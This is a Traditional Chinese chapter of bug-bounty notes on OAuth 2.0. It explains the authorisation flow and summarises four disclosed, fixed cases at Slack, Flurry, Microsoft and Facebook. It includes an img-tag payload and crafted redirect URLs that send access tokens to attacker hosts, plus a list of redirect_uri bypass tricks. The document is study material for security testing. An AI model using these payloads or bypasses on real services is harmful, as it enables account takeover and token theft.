OAuth 是一個開放協定,標準化了 Web、行動與桌面應用上的安全授權,讓使用者不必輸入帳密就能在第三方網站登入——常見於「Sign in with Google/Facebook/LinkedIn」等按鈕。

Figure 17-1: OAuth Sign in with Google 按鈕範例
OAuth 漏洞屬於設定/實作錯誤而非協定本身缺陷。但因為開發者很常實作錯,且一旦出事就能直接拿到使用者授權 Token,影響極大——值得單獨成章。
OAuth 有 1.0a 與 2.0 兩個版本,彼此不相容。本章聚焦 OAuth 2.0 與基本流程。
OAuth 流程基礎#
三個角色#
- Resource Owner:嘗試登入的使用者(你)
- Resource Server:第三方 API 提供認證;常見有 Facebook、Google、LinkedIn
- Client:使用者拜訪的第三方應用,向 Resource Server 取得 Resource Owner 的資料
Scope(授權範圍)#
Client 向 Resource Server 索取資料的「權限」。例如 Facebook 的 email、public_profile、user_friends 各代表能讀的不同資料。只開 email 就拿不到朋友清單。
標準流程(以 Facebook 為例)#
- 使用者點 Client 的「Login with Facebook」按鈕
- Client 回 302 導向 Facebook OAuth 端點,URL 帶以下參數:
client_id:Resource Server 上 Client 的識別碼redirect_uri:認證完後 Resource Server 把使用者送回的位址response_type:token(直接給 access token)或code(給授權碼,需另外換 token)scope:要求的權限state:防 CSRF 的不可猜測值(建議務必實作)
- Facebook 顯示授權對話框,使用者同意(如 Figure 17-2)
- Facebook 302 回
redirect_uri,附access_token與state - 之後 Client 用 token 直接呼叫 Facebook API
若
response_type=code,Client 還需用code + client_id + client_secret向 Resource Server 兌換access_token——這一步只在伺服器之間進行,使用者瀏覽器看不到。
URL 範例#
https://www.facebook.com/v2.0/dialog/oauth?client_id=123&redirect_uri=https%3A%2F%2Fwww.example.com%2Foauth%2Fcallback&response_type=token&scope=email&state=XYZ
Figure 17-2: Quora 透過 Facebook OAuth 登入時請求授權的 scope
案例 1:Stealing Slack OAuth Tokens#
- 難度:低
- URL:
https://slack.com/oauth/authorize/- 回報來源:http://hackerone.com/reports/2575/ ↗
- 回報日期:2013-03-01
- 獎金:$100
漏洞描述#
研究者 Prakhar Prasad 發現 Slack 對 redirect_uri 只比對開頭:合法白名單為 https://www.example.com,攻擊者送 redirect_uri=https://www.example.com.mx 也通過。攻擊者註冊 www.example.com.attacker.com 之類的子網域,誘使受害者拜訪:
<img
src="https://slack.com/oauth/authorize?response_type=token&client_id=APP_ID&redirect_uri=https://www.example.com.attacker.com"
/><img> 自動觸發 GET,Slack 回傳的 token 直接到攻擊者手上。
Takeaways#
對
redirect_uri的不嚴謹比對是 OAuth 的最大宗錯誤模式:
- 只比對開頭 → 末尾可任意延長
- 將
*.example.com放白名單 → 子網域接管立刻接管帳號- 只比對結尾 → 前段可加
evil.com#、evil.com?等
案例 2:Passing Authentication with Default Passwords#
- 難度:低
- URL:
https://flurry.com/auth/v1/account/- 回報來源:https://lightningsecurity.io/blog/password-not-provided/ ↗
- 回報日期:2017-06-30
- 獎金:未公開
漏洞描述#
研究者 Jack Cable 在 Flurry(Yahoo 旗下分析平台)走完 Yahoo OAuth 流程後,發現 Flurry 後台的最後一步 POST 是:
{
"data": {
"type": "account",
"id": "...",
"attributes": {
"email": "...@yahoo.com",
"companyName": "1234",
"firstname": "jack",
"lastname": "cable",
"password": "not-provided"
}
}
}"password":"not-provided" 暗示 Flurry 為 OAuth 註冊的使用者設了固定預設密碼。Cable 登出後直接用 Email + not-provided 登入——成功。Yahoo 五小時內修補。
Takeaways#
凡是「OAuth 流程之外的自訂 HTTP 請求」都值得測試——通常是開發者額外硬接的步驟,常埋著如此粗糙的瑕疵。
案例 3:Stealing Microsoft Login Tokens#
- 難度:高
- URL:
https://login.microsoftonline.com- 回報來源:https://whitton.io/articles/obtaining-tokens-outlook-office-azure-account/ ↗
- 回報日期:2016-01-24
- 獎金:$13,000
漏洞描述#
Microsoft 用類似但不完全相同的 OAuth。outlook.office.com 流程靠 wreply 參數指定回呼網址。研究者 Jack Whitton:
- 改
wreply=https://attacker.com→ 直接拒絕 - 雙重編碼
%252f→https://outlook.office.com%2f解碼錯誤被擋 - 加
@example.com:https://outlook.office.com%2f@example.com→ 通過
關鍵在 URL 結構 scheme://[username:password@]host[:port]/path:
- 第一次驗證時,
outlook.office.com%2f被當成 username,host 是example.com——但 Microsoft 的「合法檢查」看到outlook.office.com字串就放行 - 接著做遞迴解碼:
%252f→%2f→/——outlook.office.com/@example.com中@example.com變成路徑而非主機,host 看起來是outlook.office.com,通過白名單檢查 - 最後實際導向時用的是只解碼一次的版本——導向
example.com
受害者拜訪以下 URL 即把 token 送到
example.com:https://login.microsoftonline.com/login.srf?wa=wsignin1.0&rpsnv=4&wreply=https%3a%2f%2foutlook.office.com%252f@example.com&id=260563
Takeaways#
測 redirect 時的標準變化:
- 加
@example.com- 雙重編碼字元
- 單/雙斜線、
#、?等切斷字元注意微妙的錯誤訊息差異——它們暗示伺服器的解析邏輯。
案例 4:Swiping Facebook Official Access Tokens#
- 難度:高
- URL:
https://www.facebook.com- 回報來源:http://philippeharewood.com/swiping-facebook-official-access-tokens/ ↗
- 回報日期:2016-02-29
- 獎金:未公開
漏洞描述#
研究者 Philippe Harewood 找不到 Facebook OAuth 本身的瑕疵,於是換思路——找尋被遺忘的官方應用。Facebook 主功能用了一些自家應用,這些應用對所有使用者預先授權(不再彈出對話框)。在 https://www.facebook.com/search/me/apps-used/ 列出可看到清單。
他逐一檢查發現:有一個應用的 redirect_uri 白名單網域 Facebook 已不再持有。Harewood 註冊了該網域,再以下列 URL 引導受害者:
https://facebook.com/v2.5/dialog/oauth?response_type=token&display=popup&client_id=APP_ID&redirect_uri=REDIRECT_URI/由於該應用已預先被所有人授權,整個 OAuth 流程在背景跑——受害者拜訪後,Facebook 就把 access token 送到 Harewood 的網域。更糟的是這是官方 Token,能取得所有 scope,甚至能存取 Instagram 等同集團服務。
Takeaways#
找漏洞時思考被遺忘的資產:
- 過期的 OAuth client 白名單
- 子網域 CNAME 殘留
- 廢棄的 NPM/Ruby Gem 依賴
帶著明確目標(「我要拿 Facebook token」)開挖,能讓你在大型目標前不被淹沒。
章末總結#
- OAuth 標準雖完整,但實作錯誤的窗口很多——
redirect_uri驗證不嚴是經典錯誤 - 找漏洞重點:
redirect_uri的開頭/結尾比對、子網域、@host注入- 雙重編碼解析
- 自訂的 OAuth 後續步驟(如 Flurry 的 default password)
- 遺忘的官方應用/網域
- 建議務必實作的安全細節:
state參數、嚴格的完整 URI 白名單、不要把 secret 放進 URL